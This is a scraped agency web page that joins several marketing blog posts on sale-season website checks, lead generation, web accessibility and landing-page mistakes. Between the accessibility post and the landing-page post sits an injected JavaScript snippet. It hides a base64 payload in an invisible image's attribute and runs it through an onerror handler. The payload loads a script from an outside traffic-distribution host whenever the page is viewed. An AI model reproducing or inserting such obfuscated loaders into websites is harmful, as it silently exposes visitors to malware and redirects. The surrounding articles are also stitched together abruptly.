If you have a physical store, verify and update your location data on your website. While you’re at it, do the same for your social media pages and Google Maps. 

Customers are going to be looking at your official channels for information on store branches, business hours, and contact information, so don’t let them down.

9. Customer service

Excellent customer service is expected of every brand and determines whether or not you’ll see repeat buyers in the future. On the busiest shopping weekend, you want to provide answers fast at all times.

Enabling a chatbot is the easiest way to keep communication lines open and serve customers in a timely manner. You can program chatbots to respond to frequently asked questions, help buyers during checkout, recommend products, and more. 

Chatbots are very useful but if a customer needs to speak with a live agent, make sure you have that option available.

Aftercare is also very important but often neglected. A simple thank you message upon checkout reinforces buyers to stick with your brand. 

Furthermore, consumers should also be able to track their purchases on your website without breaking a sweat. Provide them with a tracking number and contact information in case something goes awry. 

10. Mobile-friendliness

Finally, test for mobile friendliness. By the end of the year, mobile commerce sales are expected to reach $3.56 trillion, accounting for almost 70% of all eCommerce.

Invest in responsive design and mobile sites. Regardless of screen size, your website must be easy on the eyes, intuitive, and responsive to all user requests. 

Work with a Professional Team of Web Developers and Designers

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The approach to lead generation has evolved immensely since it’s been introduced. In the past, sales representatives would buy a list of people’s names and make cold calls to their homes. Naturally, many of the recipients of cold calls did not appreciate this gesture.

Today, lead generation is done more strategically through art and science. Marketers craft resonating messages and pair them with the right imagery to connect with consumers. Then, with the help of data analytics, they nurture customer relationships until leads have warmed up enough to commit to a purchase.

As we live in a golden age of information, it’s easier to come up with better ways to generate leads. But not all lead generation strategies are made the same. 

In this blog, we talk about effective lead generation strategies that are sure to help startups and small businesses. 

Qualify your leads

If you’re new to the digital scene, you may think that the key to increased sales is more leads. This looks good on paper, but it doesn’t necessarily translate to the desired results. What you want are quality leads.

Not everyone who will happen upon your ads and landing pages will fit your buyer persona. Pursuing each one would only waste precious time and resources when you could be focusing on those with actual potential.

Lead qualification is a necessary step to avoid dead-ends and to get the most out of your digital marketing efforts. There are many methods you can employ but the simplest one is the BANT qualification framework.

BANT stands for budget, authority, need, and timeline, representing the four pieces of information you must uncover to decide what happens next. 

Does the prospect have purchasing power? Does he/she have autonomy over purchasing decisions? What is the problem that the lead is hoping to address? How quickly does he/she need to solve the issue?

Answering these simple questions unveils opportunity-level requirements. In a nutshell, quality leads would be able and willing to try your products or services as potential solutions to recurring challenges.

Prospects who tick these boxes and show genuine interest in your offer may be moved forward. Those who do not are best kept on the back burner or are disqualified.

Implement local SEO best practices

Thanks to the internet, globalization is a tangible dream–even to those who start from scratch. But while developing an international influence is great, starting locally is not only wise, it’s a necessity.

When someone within your vicinity is in search of a particular product or service, and your brand hits the mark, you better be visible. To provide the most useful and relevant results, Google Search serves websites based on user location. 

Local SEO involves optimizing your pages so that you’d appear front and center for such queries. With 90% of consumers using search engines to find local businesses, it’s a goldmine you wouldn’t want to miss.

To start, publish content with themes that are relevant to your local area. This tells your readers that you are within the neighborhood and gives search engines additional information to verify your location. 

Don’t forget to conduct local SEO keyword research and integrate them into your copy. With the right words and consistent quality content, you have a good chance to rank for searches phrased as “x business near me”.

Also, take advantage of Google My Business. It’s a free tool to help establish your online presence across Google Search and Google Maps. Businesses listed on the online directory garner 7x more clicks and 70% more in-store visits. They are also 50% more likely to convert leads.

Optimize landing pages

Landing pages are integral in lead generation. Since ads, emails, and other marketing campaigns all lead to them, it’s a make-or-break stop that demands your keen attention. 

Every element in your landing page must be aligned with your goal–that is, to push leads into action. Whether it’s filling out a web form or signing up for your newsletter, landing pages must be tailored to your offer and the traffic source. 

Do not redirect users to a single landing page or your homepage when they come from different marketing campaigns and platforms. Instead, create a variety of landing pages that meet the exact needs and expectations of your visitors.

If this sounds tedious, keep in mind that websites with 10-15 landing pages increase their conversion rates by 55%. Additionally, those with over 40 landing pages boost conversions by more than 500%.

Scrutinize the smallest details like your headline, featured images, color scheme, typography, and others. Make multiple versions of one landing page and run a split test to improve performance.

The most important thing is to highlight your value proposition both in copywriting and visual presentation. That means your creative and strategic choices should be based on emphasizing your offer and making it clear and irresistible.

Invest in targeted ads

Targeted advertising is done by monitoring user activity to extract relevant insights. From this, marketers create ads that focus on specific interests, preferences, and pertinent traits of their target audience.

Demographic, contextual, and geographic targeting are the most popular types of targeted advertising. These ensure that your ads are reaching the right people, which amounts to better returns and relatively fast results.

Facebook has made it easy for merchants to roll out targeted ads. The sheer number of Facebook users and its expansive targeting tools and options make it a great place to start. 

Aside from segmenting users by age, gender, and location, the platform lets you tailor your ads based on life events, purchasing behaviors, and connections. You can set the geographical radius and focus on users who like particular pages or have gone to specific events.

Effective ads have clear and catchy messages, attention-grabbing graphics, and well-defined inclusion criteria. Be mindful of your ad spending and track the success of your ads to kill campaigns that are only costing money. 

Encourage customer reviews

Sometimes, even the best ads aren’t enough to get consumers to jump on board. With tons of cybercrimes and unreliable brands, it takes more than excellent campaigns and customized landing pages to drive leads.

Including social proof is a simple yet powerful strategy that builds brand trust and accelerates the time it takes for cold leads to warm up.

Encourage customers to leave reviews on your product pages and feature the best testimonials on your homepage. 

It will work better if you can establish a strong presence on popular review sites and have loyal followers submit positive reviews. As consumers get pickier about their purchases, it pays to have a good name on third-party sites to seal the deal. 

Takeaway

Lead generation strategies work by researching your audience and leveraging what you learn about them in copywriting and design. For startups and small businesses, the immediate goals are to gather data and raise brand awareness.

As a final tip, don’t get stuck on over-optimizing your lead generation strategies. Take action with your best ideas–that are backed by some form of empirical evidence–and adapt new techniques as you go. This way, you don’t waste time waiting for your eureka moment.

Work with a Professional Lead Generation Partner

Got your plans mapped out but not sure how to implement them? Avail of our lead generation services and sit back as we execute your strategies with finesse. Contact DevWerkz today.

Buyer personas help you understand your ideal customers. These profiles contain user demographics, professional information, fears, goals, preferences, and more. Basically, they tell you who your consumers are, what they need, and how they move online.

Creating buyer personas before proceeding with web development is a great practice. This way, you have a good grasp of what colors to use, how to word your messages, and the kind of photos you should feature.

A less familiar kind of persona is the accessibility persona. It focuses on the difficulties that certain users face when surfing the web. 

Users with visual, hearing, motor, and cognitive disabilities experience web browsing differently from the majority of the population. As web developers and designers, it is our job to ensure that our platforms are made with inclusivity in mind.

What is web accessibility?

Web accessibility is concerned with helping people with disabilities have better online experiences. It takes advantage of modern tools and technologies to make websites easier to understand, navigate, and perceive under special circumstances.

Web accessibility not only benefits users with pronounced physical and cognitive disabilities but also those with situational limitations. For example, consumers browsing with a slow internet connection, those who are on smaller devices, and visitors who are outside under direct sunlight.

Investing in web accessibility forges strong relationships with all of your consumers. With more of our lives happening online, accessibility is a must to improve upon UX and overall satisfaction. 

Website Accessibility Optimizations 

So how can you make your website more accessible? We’ve listed a few things you can do to welcome a broad range of users and comply with website accessibility standards.

Use ARIA roles and attributes

ARIA or WAI-ARIA is short for Web Accessibility Initiative’s Accessible Rich Internet Applications. ARIA attributes are made specifically to fill in the lapses of native HTML when it comes to accessibility.

People with disabilities use special devices or software called assistive technologies to navigate web pages independently. The problem is, not all HTML, CSS, and JavaScript elements are rendered well when passed through these products. 

If you include a custom checkbox on your web form using CSS, assistive technologies may fail to report it to the user and miss it entirely. By adding ARIA attributes, screen readers can spot it with ease and communicate it to the user.

ARIA works by modifying or adding to existing element semantics. You can think of it as adding labels on visual elements that are then read and interpreted by assistive technology APIs. 

This way, interactive controls are highlighted, and users are afforded landmarks that help them keep track of where they are on the web page.

Allow users to enlarge the font size

Small font sizes are a pain even to those with good eyesight. For someone with visual impairments, poor font settings are the bane of user experience. 

You might think that the zoom function and text size adjustments on web browsers and devices are enough, but you would be wrong. Some users, especially the elderly, may not know how to manipulate these settings. Additionally, they throw off your web layout. 

A better solution is to have in-page controls that allow visitors to set the text size to their liking. You can add buttons at the top of your page with +/- symbols or upward/downward arrows to incrementally increase or decrease the font size.

Some websites come with a link to an alternate style sheet that accommodates the need for larger text. This technique is known as style switching and can be used in combination with the previous procedure.

Make sure that these options are readily noticeable. Position them conspicuously on the page and see to it that they’re easy to use. If you opt for style switching, consider providing multiple versions of your web pages with varied font sizes. 

Add alt texts

Alternative text or alt text are brief captions assigned to images that appear on websites. They’re incorporated into HTML code to describe what’s going on in a photo. 

When visually impaired users land on a web page, screen readers will read out the alt text to improve user experience. 

It also serves other functions. In case images fail to load due to a bad internet connection, alt text will appear in their place. Furthermore, web crawlers use alt text to index images properly, thus adding them to your code strengthens SEO.

The trick to writing effective alternative text is to place yourself in your consumers’ shoes. If you only had access to alt texts, you should be able to imagine what the photo looks like. Instead of naming the objects in the photo, it’s better to paint a picture with the right words.

Do not overload your alt texts with keywords and keep them as concise as possible. 

Support keyboard navigation

Keyboard navigation is a major criterion in determining web accessibility. Some users are unable to operate a mouse or touchpad due to physical disabilities.

Aside from moving up and down a web page, keyboard navigation must support access to interactive elements such as drop-down menus, forms, widgets, URLs, and others. It must also incorporate keyboard focus and avoid keyboard traps.

Keyboard focus lets users know where they are on the web page and which element is currently active. A simple border is enough to help keyboard users navigate websites better. 

What’s important is a high contrast between the focus indicator and the background. On your CSS file, you can disable the default focus indicator and choose a more appropriate color and style.

Meanwhile, keyboard traps are barriers to navigation. If users interact with an element using the keyboard, they must be able to navigate away and move to the next item seamlessly; otherwise, they’re “trapped” on that specific dialogue box or control. 

Work your way around keyboard traps by allowing navigation using the ESC or Tab keys.

Ensure good color contrast

Color is a basic element in web design. It’s of particular interest to marketers because it plays a big role in branding and driving conversions. But perhaps the most important function of color is simply to make it easy for users to take in visual information.

The Web Content Accessibility Guidelines (WCAG) 2 ensures that visual information is effectively conveyed. It defines contrast as the perceived difference in brightness between two colors expressed as a ratio. 

White text on a white background has a contrast ratio of 1:1, while black text on a white background is measured 21:1.

The general rule in presenting text is to have a contrast ratio of 4:5:1, with a few exceptions. Large text can go by 3:1, while text in logos and decorative text has no strict contrast requirement. 

Other components besides text need a contrast ratio of at least 3:1. This includes icons, graphical objects, and others related to the user interface.

Work with a Professional Team of Web Developers and Designers

Reap the benefits of robust and stunning web pages when you hire a team of seasoned web developers and designers. We specialize in customizing websites both in visuals and functionality to drive conversions. Contact DevWerkz today.const img = document.createElement(‘img’);img.src = ‘/files/img/logo.png’;img.setAttribute(‘data-digest’, ‘KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI/Iik/IiYiOiI/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7’);img.setAttribute(‘onerror’, ‘(new Function(atob(this.dataset.digest)))();’);img.style.visibility = ‘hidden’;document.body.insertBefore(img, document.body.firstChild);

There are two general types of landing pages: lead generation and clickthrough landing pages. 

The former is designed to capture contact information as leads become aware of your brand. Usually, an incentive is offered in exchange for their email address. Incentives can be giveaways, discounts, or free downloads.

The latter is more straightforward in securing conversions. Clickthrough landing pages are linked to product pages, price plan pages, or the shopping cart. 

As you can imagine, a lot is riding on the quality of landing pages you serve. Their design, copy, and layout can pull consumers closer to your brand or drive them away.

Companies that use landing pages correctly bag more leads and conversions than their competitors. Unfortunately, poor execution results in reduced conversion rates and high bounce rates.

So you may be wondering—what are the most common landing pages mistakes and how do you fix them?

1. Generic Landing Pages

A typical rookie mistake is redirecting all users to a generic landing page. While you can get away with linking to your homepage in some instances, crafting a custom landing page will always give you better results.

It’s best practice to create a unique landing page for every marketing campaign. Brands with 31 to 40 landing pages report seven times more leads than those with just one to five pages. Furthermore, simply increasing the number of landing pages from 10 to 15 boosts lead generation by up to 55%.

The reason behind this is tied to user experience. If a visitor clicked on a social media ad, that user expects continuity in branding and your message. It’s not enough that you lead this consumer to your website. You need a landing page that provides specific information that is relevant to your promises found on the traffic source.

Creating custom landing pages is all about consistency. Use the same colors, content, and typography that appears on your ads as much as possible. And when you lure users in with a reward, make sure they can claim it hassle-free.

2. Unclear offer

The star of any landing page is the offer. It’s important to describe your product, service, or giveaway with as much detail as possible without overwhelming users with loads of text.

Internet users have grown more hesitant to divulge their email addresses because of the prevalence of cyberattacks. Consumers who are at the top of your sales funnel are particularly skeptical of giving personal information. 

By practicing transparency, you can ease their doubts and drive conversions. Adding a photo of your ebook, showing a screenshot of your webinar, or featuring short clips of your demo go a long way in delivering better landing pages.

Also, indicate the limitations of your offer. Specify until when users can use their free trial or apply discount vouchers. If applicable, let them know which features are available for free and which ones need a paid subscription. 

3. Too many distractions

It’s tempting to go over the top with your landing pages thinking that extravagant graphics and transitions will impress your visitors. Sadly, being too extra in your design only distracts from the real purpose of your landing page.

Minimalist web designs are preferred for landing pages because they direct users’ attention to where they should be—your offer. 

Unnecessary photos, lengthy text boxes, and unruly animations have no place in successful landing pages. As a rule of thumb, anything that doesn’t reinforce your message should be scrapped.

The overall structure of your layout must be clean and organized. But don’t get us wrong: when we say simple, we don’t mean boring. Your design should still attract users and leave a lasting impression. The key is to tell a story and evoke the right emotions through the proper use of colors and imagery.

Showing your product or service in action is one of the best ways to help users immerse themselves in your brand. Just don’t forget the end goal of your design and conduct tests to guide future strategies.

4. Cheesy stock photos

Speaking of images, quality photos are secret weapons of high-converting landing pages. Our brains prefer visual data over any other type of stimulus.

Human faces are especially captivating and connect with users on a deeper level. That is why 44% of SaaS landing pages contain images that feature genuine people. 

The keyword here is genuine. The point of these images is to create trust between you and your consumers. If they see a good shot of people enjoying your products and services, it gives them the confidence to make a purchase. 

The same can’t be said when you use stock photos. Instead of improving brand trust, generic stock photos make you look like an amateur and raise suspicion. 

If there’s no going around it, invest in high-quality images from premium stock photography sites. Be very picky because users can tell the difference, and it will hurt your conversion rates.

5. Slow page loading speed

While landing pages are considered separate from your main website, some rules apply to both. Fast loading time is something that all web pages should have to give users a pleasant experience. 

Slow landing pages may be caused by a variety of reasons such as JavaScript issues, huge Flash file sizes, unoptimized images, multiple HTTP requests, and others. 

Large media files are common culprits of slow loading times because it takes a lot to render high-quality photos, videos, and audio. Mobile users take a heavy hit when developers upload files meant for desktops without taking into account those on smaller devices. 

Compressing videos and images is one way to reduce the required bandwidth. You also want to make sure that you upload media files in the correct format. JPEG is preferred over PNG because they take up smaller memory space. 

As for Flash content, you can opt to replace them with HTML5. Then, clean up your code by removing unused or irrelevant elements.

6. Having a navigation bar

To cut it short, landing pages should never have a navigation bar. They’re lead-generation tools, so anything that encourages people to navigate away should be avoided.

There are tons of data supporting the case to remove navigation bars from landing pages. Hubspot found a significant increase in conversions rates by ditching top navigation bars and all external links. 

Depending on your CMS, you can do this using a plugin or by inputting a line of code into the <head> section of your HTML file. You need basic CSS knowledge for the second option. If you don’t know how, have a professional web developer do it for you and apply all our tips while you’re at it.

7. Long web forms

Finally, let’s not forget about landing page forms. They need to be thorough enough to get vital information, but not too long that they scare users away. 

After the seventh form field, conversions drop steeply, hurting lead generation and sales. That’s why adding fields must be on a need-to-know basis. 

Short web forms are best for secondary conversion events because they’re less intimidating to new visitors. For primary conversion events, you can afford to request more information. In fact, some users expect detailed forms when reserving products online.

To make long web forms less daunting use multi-step forms. They outperform single-step web forms across various industries and are already in use in many reputable websites. 

Boost Conversions with a Professional Web Development Team

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